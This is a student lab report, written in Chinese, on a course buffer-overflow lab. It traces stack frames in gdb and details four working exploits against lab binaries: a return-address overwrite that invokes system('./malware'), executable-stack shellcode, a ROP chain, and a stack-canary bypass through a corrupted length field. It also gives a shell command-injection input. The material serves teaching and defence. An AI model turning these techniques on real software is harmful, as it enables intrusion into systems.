计算机系统基础

Lab3 实验报告

AttackLab

姓名： 吴向杰

学号： 25300190057

日期： 2026 年 11 月 2 日

目录

1 实验目的 **1**

2 实验环境 **1**

3 程序的调用栈 **1**

4 不同长度的字符串输入测试 **5**

5 任务一：利用缓冲区漏洞执行./malware **7**

6 用 GDB 检查 main 函数的机器码 **9**

7 任务二：栈空间执行 **11**

8 任务三：ROP **12**

9 任务四：Canary **14**

10 验证 **16**

A 复现方法与完整代码 **17**

1 实验目的

本实验先用 gdb 观察 `dark-calc` 的调用栈，弄清函数调用时栈帧怎么建立、返回地址放在哪里；然后用 `gets()` 的栈溢出完成四个利用：跳转执行 `./malware`、在固定可执行栈上跑一小段指令、用 ROP 绕过不可执行栈，以及绕过 `dark-log` 的 Stack Protector（Canary）。这四个任务分别对应缓冲区溢出、栈不可执行、non-PIE 代码段复用和 Canary 四种机制。

2 实验环境

- 操作系统：Windows 11，实验二进制在 WSL 2 的 Ubuntu 26.04.1 LTS （内核 6.18.33.2-microsoft-standard-WSL2）中运行；
- 调试器：GNU gdb 17.1，使用原生的 `info registers`、`x`、`si`、`bt` 等命令；
- 编程语言：Python 3.14.4，用于生成 payload 并通过管道或重定向输入目标程序；
- 实验目录：Windows 下为 `E:\ICS\Lab3`，WSL 中为 `/mnt/e/ICS/Lab3`；
- 实验对象：`attack/` 下的 `dark-calc`、`dark-calc-nx`、`dark-log` 与 `malware`，均为课程提供的 non-PIE ELF 可执行文件；
- 个人仓库：`https://github.com/wuxiangjie84/ics-2026-attacklab`。

实验对象是课程提供的四个二进制；`attack/` 下的文件未作修改，SHA-256 与仓库校验配置中记录的值一致。

3 程序的调用栈

3.1 观察方法

在 `attack/` 目录执行 `gdb ./dark-calc`，用 `b input` 在 `input` 处下断点并运行（输入 `123` 后 EOF）。gdb 把断点落在 `0x40197f`，即 `input+8`、prologue 之后的位置：

```
$ gdb -q ./dark-calc
Breakpoint 1 at 0x40197f
Breakpoint 1, 0x000000000040197f in input ()
#0 0x000000000040197f in input ()
#1 0x0000000000401ad1 in main ()
rip 0x40197f 0x40197f <input+8>
rbp 0x721000800fe0 0x721000800fe0
```

```
rsp 0x721000800fd0 0x721000800fd0
0x721000800fd0: 0x0000000000000000 0x0000000000000000
0x721000800fe0: 0x0000721000800ff0 0x0000000000401ad1
0x721000800ff0: 0x00007fffffffe6f0 0x0000000000401c1f
0x721000801000: 0x0000000000000000 0x0000000000000000
```

3.2 问题 1：input 函数是谁调用的

trace 显示 `#1 0x0000000000401ad1 in main ()`，所以 `input` 由 `main` 调用：`main+9` 处的 `call 0x401977 <input>`，返回地址 `0x401ad1` 就是 `main+14` 的 `mov $0x0,%eax`。补充说明：`main` 本身由 `__wrap_main` 调用。实验为了把 `rsp` 切换到 `init_fixed_stack()` 建立的固定栈，链接时使用了 `--wrap=main`；`__wrap_main` 先保存 `r12` 并把 `rsp` 设为 `fixed_stack_top`，再 `call main`。因为 `rsp` 被手工切换，gdb 的 backtrace 只展开到 `main`，看不到更上层的调用者。

3.3 问题 2：停下位置之前的三条指令与 rbp 的来源

objdump 显示 `input` 的开头为：

```
0x401977 <input>: 55 push %rbp
0x401978 <input+1>: 48 89 e5 mov %rsp,%rbp
0x40197b <input+4>: 48 83 ec 10 sub $0x10,%rsp
0x40197f <input+8>: be 0f 00 00 00 mov $0xf,%esi
```

这三条指令是 prologue：`push %rbp` 保存调用者的帧基址；`mov %rsp,%rbp` 把 `rbp` 设为本帧基址；`sub $0x10,%rsp` 为局部数组 `char expression[16]` 分配 0x10 字节。此时 `$rbp = 0x721000800fe0`，而 `[$rbp] = 0x721000800ff0`，这个值是 `main` 的 `rbp`：main 的 prologue 把 `rbp` 设为 `0x721000800ff0`，input 的 `push %rbp` 又把它压到 `0x721000800fe0`，成为本帧保存的调用者 `rbp`。所以 `$rbp` 指向的 8 个字节并不属于 input 的局部变量，而是 main 帧的“连接点”。

3.4 问题 3：rbp+8 处存的值

`[$rbp+8] = 0x0000000000401ad1`，即 `main+14` 的 `mov $0x0,%eax`。对照 `disas main` 可以看到，它紧跟在 `0x401acc` 的 `call input` 之后，因此 `[$rbp+8]` 就是 `input` 的返回地址：

```
0x401ac3 <main>: push %rbp
0x401ac4 <main+1>: mov %rsp,%rbp
```

```
0x401ac7 <main+4>: mov $0x0,%eax
0x401acc <main+9>: call 0x401977 <input>
0x401ad1 <main+14>: mov $0x0,%eax
0x401ad6 <main+19>: call 0x4019d7 <eval>
0x401adb <main+24>: jmp 0x401ac7 <main+4>
```

3.5 问题 4：返回地址是谁写入的

在 main+9 的 0x401acc 处下断点，用 si 单步执行 call input，逐步观察 rsp 与栈内容：

```
$ gdb -q ./dark-calc
Breakpoint 1 at 0x401acc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000000000401acc in main ()
=> 0x401acc <main+9>: call 0x401977 <input>
rip 0x401acc 0x401acc <main+9>
rsp 0x721000800ff0 0x721000800ff0
rbp 0x721000800ff0 0x721000800ff0
0x721000800ff0: 0x00007fffffffe6f0 0x0000000000401c1f
0x0000000000401977 in input ()
rip 0x401977 0x401977 <input>
rsp 0x721000800fe8 0x721000800fe8
rbp 0x721000800ff0 0x721000800ff0
0x721000800fe8: 0x0000000000401ad1
0x0000000000401978 in input ()
rip 0x401978 0x401978 <input+1>
rsp 0x721000800fe0 0x721000800fe0
rbp 0x721000800ff0 0x721000800ff0
0x000000000040197b in input ()
rip 0x40197b 0x40197b <input+4>
rsp 0x721000800fe0 0x721000800fe0
rbp 0x721000800fe0 0x721000800fe0
0x000000000040197f in input ()
rip 0x40197f 0x40197f <input+8>
rbp 0x721000800fe0 0x721000800fe0
rsp 0x721000800fd0 0x721000800fd0
```

```
0x721000800fe8: 0x0000000000401ad1
#0 0x000000000040197f in input ()
#1 0x0000000000401ad1 in main ()
```

执行 call 前 `rsp = 0x721000800ff0`；call 之后 `rsp = 0x721000800fe8`，且 `[rsp] = 0x401ad1`。可见是 main 的 `call input`（`0x401acc`）写入了这个值：x86-64 的 `call` 会把返回地址压栈。

3.6 问题 5：call、prologue、leave、ret 的作用

从 input 的 `leave` 之前单步到调用者：

```
$ gdb -q ./dark-calc
Breakpoint 1 at 0x4019d5
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x00000000004019d5 in input ()
=> 0x4019d5 <input+94>: leave
rip 0x4019d5 0x4019d5 <input+94>
rbp 0x721000800fe0 0x721000800fe0
rsp 0x721000800fd0 0x721000800fd0
0x721000800fe0: 0x0000721000800ff0 0x0000000000401ad1
0x00000000004019d6 in input ()
rip 0x4019d6 0x4019d6 <input+95>
rbp 0x721000800ff0 0x721000800ff0
rsp 0x721000800fe8 0x721000800fe8
=> 0x4019d6 <input+95>: ret
0x0000000000401ad1 in main ()
rip 0x401ad1 0x401ad1 <main+14>
rbp 0x721000800ff0 0x721000800ff0
rsp 0x721000800ff0 0x721000800ff0
=> 0x401ad1 <main+14>: mov $0x0,%eax
0x0000000000401ad6 in main ()
rip 0x401ad6 0x401ad6 <main+19>
rbp 0x721000800ff0 0x721000800ff0
rsp 0x721000800ff0 0x721000800ff0
```

从上面的单步结果可以看到：

- **call**：先把返回地址（下一条指令地址）压栈并令 `rsp` 减 8，再跳到被调用者。它建

立了“调用点 → 返回地址”的联系，是 ret 能回到正确位置的原因；本例中 call input 把 0x401ad1 写到 input 的 [rbp+8]。

- **prologue**（push %rbp; mov %rsp,%rbp; sub $N,%rsp）：保存调用者 rbp、建立新帧、为局部变量分配空间。此后局部变量用 rbp 减偏移访问，而 rbp+8 就是返回地址。正因为 rbp 是相对寻址的基准，payload 只需固定偏移（0x10 缓冲区 + 8 字节 saved rbp）就能命中返回地址。
- **leave**：mov %rbp,%rsp; pop %rbp，丢弃本帧局部空间并恢复调用者的 rbp；执行后 rsp 指向返回地址。
- **ret**：弹出栈顶返回地址并跳转，同时 rsp 加 8；本例中把控制权交还 main+14，栈恢复到调用前状态。

对应的栈帧布局（地址从高到低）为：

```
0x721000800ff8 [0x401c1f] <- __wrap_main 中 call main 压入的返回地址
0x721000800ff0 [0x7fffffffe6f0] <- <main 的 rbp>
0x721000800fe8 [0x401ad1] <- input 的返回地址（call input 压入）
0x721000800fe0 [0x721000800ff0] <- <input 的 rbp> 保存的 main rbp
0x721000800fd0 [ expression[16] ] <- <input 的 rsp>
0x721000801000 <- 固定栈上守卫页（PROT_NONE）
```

4 不同长度的字符串输入测试

expression 只有 MAXLEN+1 = 16 字节，而 gets() 会一直读到换行或 EOF，并额外写入一个 \0。分别输入 20 与 32 个 ASCII 字符（写入 21 与 33 字节）：

输入长度	写入字节	覆盖范围	程序表现
20	21	expression[16] + saved rbp 低 4 字节 + 结束符	继续运行，最终 EOF 退出 0
32	33	expression[16] + saved rbp 8 字节 + 返回地址 8 字节 + 1	SIGSEGV，exit=139

20 字符时 [rbp] 的低 4 字节被 0x41 覆盖，gets 补的结束符落在第 5 个字节（实测该 8 字节为 0x0000720041414141），但 [rbp+8] 仍是合法返回地址 0x401ad1，所以 input 照常返回 main。main 的 rbp 虽然被改坏，但后续 eval、input 各自用 rsp 重建 rbp；最后 input 在 EOF 分支直接 exit(0)，main 没有执行 leave; ret，因此没有崩溃：

```
$ ./dark-calc < in20
0
```

```
Enter an expression (length up to 15):
Executing: echo $((AAAAAAAAAAAAAAA))
Enter an expression (length up to 15):
42_is_The_Ànswer
(exit status: 0)

$ ./dark-calc < in32
Segmentation fault
(exit status: 139)

$ ./dark-calc < in123
123
Enter an expression (length up to 15):
Executing: echo $((123))
Enter an expression (length up to 15):
42_is_The_Ànswer
(exit status: 0)
```

上面 in20 那组输出里 0 出现在提示语之前：标准输出重定向到文件时 stdio 从行缓冲变成全缓冲，提示语还留在用户态缓冲区，而 system() 派生的 echo 已经把结果直接写到同一个文件描述符上。在终端里运行时顺序是正常的。32 字符时返回地址被 0x4141414141414141 覆盖，input 的 ret 直接跳到该地址而段错误。用 gdb 在 gets() 返回后（*0x40199f）观察栈：

```
$ gdb -q ./dark-calc
Breakpoint 1 at 0x40199f
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x000000000040199f in input ()
rip 0x40199f 0x40199f <input+40>
rbp 0x721000800fe0 0x721000800fe0
rsp 0x721000800fd0 0x721000800fd0
0x721000800fd0: 0x4141414141414141 0x4141414141414141
0x721000800fe0: 0x4141414141414141 0x4141414141414141
0x721000800ff0: 0x00007ffffffe600 0x0000000000401c1f

Program received signal SIGSEGV, Segmentation fault.
0x00000000004019d6 in input ()
#0 0x00000000004019d6 in input ()
```

```
#1 0x4141414141414141 in ?? ()
#2 0x00007ffffffe600 in ?? ()
#3 0x0000000000401c1f in __wrap_main ()
#4 0x00007ffff7c2a601 in __libc_start_call_main (main=<optimized out>, argc=<
    optimized out>, argv=<optimized out>) at ../sysdeps/nptl/
    libc_start_call_main.h:59
Backtrace stopped: Cannot access memory at address 0x4141414141414149
```

对照 20 字符的情况，只有 saved rbp 低 4 字节被写坏：

```
$ gdb -q ./dark-calc
Breakpoint 1 at 0x40199f
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x000000000040199f in input ()
rip 0x40199f 0x40199f <input+40>
rbp 0x721000800fe0 0x721000800fe0
rsp 0x721000800fd0 0x721000800fd0
0x721000800fd0: 0x4141414141414141 0x4141414141414141
0x721000800fe0: 0x0000720041414141 0x0000000000401ad1
0x721000800ff0: 0x00007ffffffe6f0 0x0000000000401c1f
```

结论：溢出数据从缓冲区开始沿地址递增方向连续覆盖 saved rbp 与返回地址，因此可以精确控制 ret 的目标；同时 gets() 不检查长度，除 0x0a（换行，gets 在此停止）外任意字节都能写入，这为构造包含二进制地址的 payload 提供了条件。

5 任务一：利用缓冲区漏洞执行./malware

5.1 目标与限制

目标是让 dark-calc 执行同目录下的./malware。malware 是一个 shell 脚本，它用 pstree 和 ps 沿父进程链向上查找名为 dark-calc 的进程，只有确认自己由 dark-calc 触发时才输出成功信息，因此必须让进程内派生出的 shell 执行它。

任务一的主要约束来自 init_fixed_stack(): 它在.init_array 中被调用，用 mmap 在固定地址建立一块可执行“栈”，再把两端各 0x1000 字节 mprotect(PROT_NONE) 设为守卫页，并令 fixed_stack_top = 0x721000801000。调用形式为：

```
mmap(0x721000000000, 0x802000, PROT_READ|WRITE|EXEC,
    MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK)
```

因此：

- 这块栈地址固定且可执行（这也是第七节“栈空间执行”成立的原因；`readelf -l` 显示 GNU_STACK 为 RW，真正生效的是这个 mmap）；
- `expression[]` 固定在 `0x721000800fd0`，它到上守卫页只有 0x30 即 48 字节，payload 加上 gets 的 `\0` 必须不超过 48 字节，否则会写穿守卫页、在 gets 阶段就崩溃。

此外 `input()` 在返回前会执行 `strcpy(command_buf, expression)`，`command_buf` 是全局数组，地址为 `0x6030d0`。

5.2 攻击流程

1. 让输入以`"./malware"` 加结束符开头。gets 把它读入 expression，随后 input 自己的 `strcpy` 把该字符串复制到全局 `command_buf`，于是进程里保存了命令串`"./malware"`。
2. 用 16 字节缓冲区 + 8 字节 saved `rbp` 之后的 8 字节覆盖返回地址，指向 `0x401a6b`。这是 `eval()` 尾部的 `mov edi,0x6030d0; call system@plt`，效果等于执行 `system("./malware")`。执行到这条 call 时 `rsp` 是 16 的倍数，call 压入返回地址后，system 入口处 `rsp % 16 == 8`。
3. system 返回后 eval 还会执行 `fflush`，最后是 `leave; ret`。把 saved `rbp` 设为 `0x721000800fe8`（即 saved rip 槽自身的地址）：`leave` 会把 `[0x721000800fe8] = 0x401a6b` 弹进 `rbp`，`ret` 则使用 `[0x721000800ff0]`，即放在那里的 `__wrap_main`（`0x401c0e`）。`__wrap_main` 把 `rsp` 重置为 `fixed_stack_top` 并再次 `call main`；第二次 input 读到 EOF，走 `puts(answer); exit(0)`，进程干净退出。

payload 共 40 字节布局如下（加 gets 的结束符为 41 字节，满足 48 字节窗口）：

```
offset 0x00 "./malware" + 结束符 + 6 字节填充 -> strcpy 到 command_buf
offset 0x10 p64(0x0000721000800fe8) -> saved rbp（伪造帧，指向 rip 槽）
offset 0x18 p64(0x0000000000401a6b) -> saved rip -> system("./malware")
offset 0x20 p64(0x0000000000401c0e) -> [saved rbp + 8] -> __wrap_main
```

payload 的完整代码见附录 A.2，运行结果：

```
$ python3 payload.py | (cd attack && ./dark-calc)
(exit status: 0)
--- stdout ---

systemd,1
```

```
  `-init-systemd(Ub,2
     `-SessionLeader,346
        `-Relay(348),347
           `-bash,348
              `-dark-calc,467
                 `-sh,468 -c -- ./malware
                    `-malware,469 ./malware
                       `-pstree,470 -a -l -p -s -H 469 469

### The bomb was triggered by the dark-calc process. ###
### You have successfully detonated the bomb! Congratulations! ###

Enter an expression (length up to 15):
Enter an expression (length up to 15):
42_is_The_Ànswer
```

pstree 打出的父进程链 bash → dark-calc → sh -c -- ./malware → malware 正是 malware 要求的形状：它由 dark-calc 调用的 system() 派生的 shell 启动。

5.3 关于“不利用栈溢出”的解法

题目提示中还提到一种不使用溢出的解法：直接输入 0));./malware #，eval 拼出的命令是 echo $((0));./malware #))，# 之后的内容被 shell 当作注释，于是./malware 被 system 执行，同样能触发。实测该输入也能打印成功信息；但题目要求提交的 payload 必须利用栈溢出，因此 payload.py 采用上一节的覆盖返回地址方案。

6 用 GDB 检查 main 函数的机器码

6.1 观察方法与结果

在 main 第一条指令 0x401ac3 处下断点，运行后用 x/4i $rip 查看反汇编、x/16bx $rip 查看原始字节，并逐条 si 观察 rip 变化：

```
$ gdb -q ./dark-calc
Breakpoint 1 at 0x401ac3
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000000000401ac3 in main ()
```

```
=> 0x401ac3 <main>: push %rbp
   0x401ac4 <main+1>: mov %rsp,%rbp
   0x401ac7 <main+4>: mov $0x0,%eax
   0x401acc <main+9>: call 0x401977 <input>
0x401ac3 <main>: 0x55 0x48 0x89 0xe5 0xb8 0x00 0x00 0x00
0x401acb <main+8>: 0x00 0xe8 0xa6 0xfe 0xff 0xff 0xb8 0x00
rip 0x401ac3 0x401ac3 <main>
0x0000000000401ac4 in main ()
rip 0x401ac4 0x401ac4 <main+1>
0x0000000000401ac7 in main ()
rip 0x401ac7 0x401ac7 <main+4>
0x0000000000401acc in main ()
rip 0x401acc 0x401acc <main+9>
=> 0x401acc <main+9>: call 0x401977 <input>
   0x401ad1 <main+14>: mov $0x0,%eax
   0x401ad6 <main+19>: call 0x4019d7 <eval>
   0x401adb <main+24>: jmp 0x401ac7 <main+4>
   0x401add <init_fixed_stack>: push %rbp
   0x401ade <init_fixed_stack+1>: mov %rsp,%rbp
   0x401ae1 <init_fixed_stack+4>: sub $0x20,%rsp
   0x401ae5 <init_fixed_stack+8>: movq $0x802000,-0x8(%rbp)
0x401ac3 <main>: 0x55 0x48 0x89 0xe5 0xb8 0x00 0x00 0x00
0x401acb <main+8>: 0x00 0xe8 0xa6 0xfe 0xff 0xff 0xb8 0x00
```

6.2 前三行汇编对应的机器码

地址	汇编	机器码	长度
0x401ac3	`push %rbp`	`55`	1 字节
0x401ac4	`mov %rsp,%rbp`	`48 89 e5`	3 字节
0x401ac7	`mov $0x0,%eax`	`b8 00 00 00 00`	5 字节

紧随其后的 `call 0x401977 <input>` 的机器码是 `e8 a6 fe ff ff`：`e8` 是 call 的操作码，后面 4 字节是相对偏移 `0xfffffea6 = -0x15a`，`0x401ad1 - 0x15a = 0x401977`。

6.3 机器码在内存中的排列方式

机器码按指令顺序、自低地址向高地址连续存放在`.text` 段，每条指令占用的地址区间由它的长度决定：

```
[0x401ac3, 0x401ac4) 55 push %rbp (1 字节)
[0x401ac4, 0x401ac7) 48 89 e5 mov %rsp,%rbp (3 字节)
[0x401ac7, 0x401acc) b8 00 00 00 00 mov $0x0,%eax (5 字节)
[0x401acc, 0x401ad1) e8 a6 fe ff ff call input (5 字节)
```

单步执行时 rip 依次为 0x401ac3、0x401ac4、0x401ac7、0x401acc，与指令长度严格对应；多字节立即数与偏移按小端存放（b8 00 00 00 00 表示 mov $0,%eax；a6 fe ff ff 表示 $-0x15a$）。在 non-PIE 程序里代码段加载地址固定，指令字节的位置与语义一一对应，因此可以把返回地址精确指向任意一条指令的起始地址（甚至指令中间字节）——这是第七、八节 shellcode 与 ROP 的地址基础。

7 任务二：栈空间执行

7.1 可执行栈的来源

现代系统通常把栈设为不可执行（GNU_STACK=RW，本实验的 readelf -l 也显示 RW），但 dark-calc 在启动时通过 init_fixed_stack() 自己 mmap 了一块 RWX 的固定地址区域，并用 __wrap_main 把 rsp 切换到它的顶部。因此这里可以执行栈上的代码，且由于地址固定（从 0x721000000000 起），不需要处理栈 ASLR。这正是实验说明所说的“楚门的世界”——任务一和任务二都是在刻意营造的可执行栈上完成的。

7.2 空间限制与 stub 设计

expression 到上守卫页只有 48 字节，其中前 16 字节是 expression，接着 8 字节 saved rbp、8 字节返回地址，剩下 16 字节在返回地址之上。真正能放指令的只有 expression 的 16 字节：14 字节 stub 加 2 字节填充。返回地址指向 0x721000800fd0（stub 首地址），整个 payload 共 32 字节。stub 需要调用 grade_eval(4) 打印“Hope A will be your grade!”，并让进程干净退出。实际使用的 14 字节 stub 为：

```
6a 04 push $4
5f pop %rdi ; 第一个参数 grade = 4
68 0e 1c 40 00 push $0x401c0e ; 续接地址: __wrap_main
68 87 1a 40 00 push $0x401a87 ; grade_eval
c3 ret ; 跳转 grade_eval(4)
```

7.3 grade_eval 覆盖 stub 尾部的细节

grade_eval 的 prologue 是 push %rbp; mov %rsp,%rbp; sub $0x10,%rsp，参数保存在 [rbp-0x4]（即 mov %edi,-0x4(%rbp)）。input 执行 leave; ret 跳入 stub 时 rsp = 0x721000800ff0，stub 压入两个 8 字节地址并用 ret 弹出一个后，进入 grade_eval 时 rsp = 0x721000800fe8；其 prologue 执行 push %rbp; mov %rsp,%rbp 后 rbp = 0x721000800fe0，因此 [rbp-4] = 0x721000800fdc，正好是 buffer + 0x0c。grade_eval 运行期间会把 stub 偏移 0x0c 到 0x0f 的 4 个字节覆盖掉。我一开始把 push exit@plt; ret 接在 stub 尾部（偏移 0x0a 到 0x0f），运行时消息打印完就段错误：返回时这段代码已经被改掉了。

解决办法是把“续接地址”在调用 grade_eval 之前压栈：这样 grade_eval 的返回地址就是 __wrap_main，stub 中后续不需要再执行被覆盖的字节。__wrap_main 会把 rsp 复位到 fixed_stack_top 并重新 call main，第二次 input 读到 EOF 后执行 puts(answer); exit(0)，进程以 0 退出。

7.4 验证

```
$ python3 payload_dark.py | ./attack/dark-calc
(exit status: 0)
--- stdout ---
Enter an expression (length up to 15):

 Hope A will be your grade!
Enter an expression (length up to 15):
42_is_The_Ànswer
```

输出包含目标字符串，进程退出码为 0。最后两行是 input 在 EOF 分支打印的（空输入时程序会输出 answer），不是异常。

8 任务三：ROP

8.1 思路

dark-calc-nx 是 NX（GNU_STACK=RW，栈不可执行）、栈地址随机（ASLR）、但代码段固定的 non-PIE 程序。栈上的代码无法执行，但.text 中的机器码地址固定，因此可以复用其中以 ret 结尾的片段（gadget），用 ret 把它们串成一条“程序”。

8.2 gadget 与 ROP 链

题目给出的搜索区间是 0x4019d0 到 0x401ae3。我用 objdump 导出这一段并做字节扫描，找到的两条 gadget 都在 __libc_csu_init 收尾的 pop 序列（0x401a26 到 0x401a34）里：

gadget	地址	字节	说明
pop rdi; ret	0x401a33	5f c3	41 5f 与 c3 之间的错位字节
ret	0x401a34	c3	用于调整栈对齐

目标函数 grade_eval = 0x401978，exit@plt = 0x4016e0。ROP 链为：

```
offset 0x00 16 字节填充（填满 expression）
offset 0x10 8 字节填充（saved rbp）
offset 0x18 p64(0x401a33) pop rdi; ret
offset 0x20 p64(4) grade = 4
offset 0x28 p64(0x401a34) ret（对齐）
offset 0x30 p64(0x401978) grade_eval
offset 0x38 p64(0x401a33) pop rdi; ret
offset 0x40 p64(4) exit 的参数 4
offset 0x48 p64(0x401a34) ret（对齐）
offset 0x50 p64(0x4016e0) exit@plt
offset 0x58 p64(0) exit 的返回地址（不会用到）
```

SysV AMD64 要求函数入口处 rsp % 16 == 8。可以先算一下 input 的 ret 之后的 rsp：main 入口 rsp 是 8 mod 16，push %rbp 后是 0，call input 后是 8，input 里 push %rbp 后是 0，sub $0x10 仍是 0；所以 input 的 rbp 是 16 的倍数，返回地址在 rbp+8，ret 之后 rsp 是 rbp+0x10，即 0 mod 16。每执行一条 ret，rsp 加 8，所以在跳入被调用函数前插一条 ret，就能把 rsp 调回 8 mod 16；不调整的话，printf、system 内部的 movaps 可能因栈不对齐而崩溃。第二个 pop rdi 用于让 exit 的参数确定：若直接 grade_eval 后接 exit，rdi 是 grade_eval 中 fflush 残留的 stdout 指针，退出码不确定（实测为 1）；显式再设 rdi = 4 后进程以 4 退出。

8.3 验证

```
$ python3 payload_rop.py | ./attack/dark-calc-nx
(exit status: 4)
--- stdout ---
Enter an expression (length up to 15):

 Hope A will be your grade!
```

输出包含目标字符串，退出码为 4，说明 ROP 链按设计执行完毕。

9 任务四：Canary

9.1 栈布局与利用点

dark-log 的栈帧结构体 struct log_frame 依次包含 expression[128]、logMsg[128]、int len 与 pad[8]，从反汇编得到的偏移为：

```
expression rbp-0x120 <- gets() 的写入目标（128 字节）
logMsg rbp-0xa0 <- memcpy 的目的基址
len rbp-0x20 <- 可被溢出改写的控制变量
pad rbp-0x18
canary rbp-0x8 <- Stack Protector 随机值
saved rbp rbp
saved rip rbp+8
```

关键语句是 memcpy(f.logMsg + f.len, f.expression, 128)。反汇编中该定长拷贝被内联为 mov -0x20(%rbp),%eax; cltq（将 f.len 符号扩展为 64 位）及 16 次 8 字节 mov 块拷贝，目的地址为 dest = rbp - 0xa0 + f.len。

9.2 绕过方法

canary 位于 rbp-0x8。直观上“从缓冲区一直写到返回地址”必然先覆盖 canary，所以不能硬写。但注意两点：

- f.len 位于 rbp-0x20，即缓冲区偏移 0x100，在 canary （偏移 0x118）的低地址侧；gets 的连续溢出可以先改到 len 而停在 canary 之前；
- len 又被用作后续 memcpy 的目的地址偏移，因此可以借它把拷贝“挪”到 canary 之上。

取 f.len = 0xa8，则 dest = rbp - 0xa0 + 0xa8 = rbp + 8，128 字节拷贝正好从 saved rip 开始，canary 一个字节都不会被写。input 返回前的 canary 校验因此仍然通过，而 saved rip 已被改写。输入共 0x104 字节：前 128 字节是拷贝源，随后 128 字节填充到 logMsg，最后 4 字节是 len；gets 追加的结束符落在偏移 0x104（rbp-0x1c），仍在 canary 之下，安全。payload 布局为：

```
offset 0x00 p64(0x4018a3) pop rdi; ret <- 被拷到 rbp+8，即 saved rip
offset 0x08 p64(4) grade = 4
```

```
offset 0x10 p64(0x4018a4) ret（对齐）
offset 0x18 p64(0x401677) grade_eval
offset 0x20 96 字节 'C' 填充（拷贝源剩余部分）
offset 0x80 128 字节 'D' 填充（gets 写入 logMsg，无影响）
offset 0x100 p32(0xa8) f.len -> memcpy dest = rbp+8
```

对齐方面，input 的 ret 之后 rsp % 16 == 0，经过 pop rdi; ret 与插入的 ret 后，grade_eval 入口处 rsp % 16 == 8，符合 ABI。

9.3 验证

```
$ python3 payload_canary.py | ./attack/dark-log
(exit status: 139)
--- stdout ---
Enter a log message:

 Hope A will be your grade!
```

输出包含目标字符串。进程随后因返回地址指向'C' 填充区而 SIGSEGV，但 grade_eval 在 printf 之后调用了 fflush(stdout)，目标串已经写出。dark-log 没有引用 exit@plt，main 的 canary 与返回地址也在 128 字节拷贝范围内被覆盖，无法再回到 main 走正常退出；题目只要求输出包含目标串，所以让进程在输出后崩溃是可接受的。

9.4 局部变量重排的防御思路

这个利用能成立，靠的不是覆盖 canary，而是能先改写后面用来算写地址的 f.len。因此可以这样重排或修改：

- 把 len 这类既受输入影响、又被后续内存操作当作偏移或长度的标量，放到 canary 的高地址侧，即让 canary 紧贴缓冲区上方。这样 gets 的连续溢出若想写到 len，必须先跨过 canary，校验必然失败，利用被阻断。
- 或者消除“攻击者可控标量决定写地址”的模式：对 len 做范围检查（如 0 <= len <= sizeof(logMsg) - sizeof(expression)），或使用常量长度、带边界的拷贝接口，不信任内存中的 len。
- 这与编译器 -fstack-protector-strong 的思路一致：把字符数组放在靠近 canary 与返回地址的高地址端，把标量放在低地址端，使越界写首先破坏 canary 而不是控制变量。本题为了出题方便，用结构体固定了 expression、logMsg、len、pad 的顺序，恰好留下了“len 在 canary 下方、可控且决定拷贝地址”的空间，重排后

该空间就不存在了。

10 验证

四个用例在 WSL 2 的 Ubuntu 26.04.1 上都跑过（`python3 payload*.py` 的输出通过管道或重定向输入对应二进制，检查 stdout 是否包含目标串）。四个 payload 只依赖 non-PIE 二进制中固定的地址、`dark-calc` 自己 `mmap` 出来的固定栈以及 ABI 约定，不依赖 glibc 版本；课程 CI 用的是 ubuntu-24.04，按这一点推断两版行为应该相同：

payload	目标	退出码	目标串	判定
`payload.py`	`dark-calc`	0	bomb 成功信息	PASS
`payload_dark.py`	`dark-calc`	0	Hope A will be your grade!	PASS
`payload_rop.py`	`dark-calc-nx`	4	Hope A will be your grade!	PASS
`payload_canary.py`	`dark-log`	139	Hope A will be your grade!	PASS

另外用 `readelf` 和 `objdump` 核对了各 payload 里硬编码的地址（`input`、`grade_eval`、`system@plt`/`exit@plt`、`__wrap_main`）、gadget 的原始字节（`5f c3`、`c3`）、`expression` 到上守卫页的 48 字节窗口、各函数入口处的栈对齐，以及 128 字节 `memcpy` 区间是否会碰到 canary，结果都与实测一致。`attack/` 下四个文件的 SHA-256 与仓库校验配置一致，未作修改。

A 复现方法与完整代码

A.1 复现方法

```
# 在仓库根目录执行（本实验用 WSL 2 的 Ubuntu 26.04.1）
python3 payload.py | (cd attack && ./dark-calc)
python3 payload_dark.py | (cd attack && ./dark-calc)
python3 payload_rop.py | (cd attack && ./dark-calc-nx)
python3 payload_canary.py | (cd attack && ./dark-log)

# 或者直接推送仓库，触发 .github/workflows/lab3-checks.yml 中的四个用例
```

A.2 payload.py：执行./malware

```
#!/usr/bin/env python3
"""Build a stack-overflow payload that transfers control to malware."""
import struct
import sys

# ---------------------------------------------------------------------------
# dark-calc facts (verified with objdump/readelf and by running the payload):
# * input() keeps the expression at rbp-0x10 and returns via `leave; ret`,
# so the saved return address is 0x18 bytes above the buffer;
# * init_fixed_stack() mmap()s 0x721000000000 + 0x802000 RWX with PROT_NONE
# guard pages at both ends, so expression[] always lands at
# 0x721000800fd0 and only 0x30 bytes remain before the upper guard page;
# * input() strcpy()s the expression into command_buf (0x6030d0) before it
# returns, so an expression starting with "./malware\0" leaves that exact
# command string in command_buf;
# * 0x401a6b is the tail of eval(): `mov edi, 0x6030d0; call system@plt`,
# i.e. jumping there runs system("./malware") with a correctly aligned
# stack;
# * after system() returns, eval's epilogue is `leave; ret`, so the saved
# rbp the overflow wrote decides where control continues. Pointing it at
# the saved-rip slot itself makes `leave` pop 0x401a6b into rbp and `ret`
# use the next slot, which we set to __wrap_main. __wrap_main resets rsp
# to fixed_stack_top and calls main() again; the second input() sees EOF,
# prints the answer and calls exit(0), so the process terminates cleanly.
# ---------------------------------------------------------------------------
```

```
system_call_site = 0x401A6B # mov edi,command_buf; call system@plt (eval+0x94)
wrap_main = 0x401C0E # restores rsp to fixed_stack_top, calls main()
fake_frame = 0x721000800FE8 # &saved rip slot: [X] = 0x401a6b, [X+8] =
    wrap_main

payload = b"./malware\x00" # becomes command_buf via strcpy()
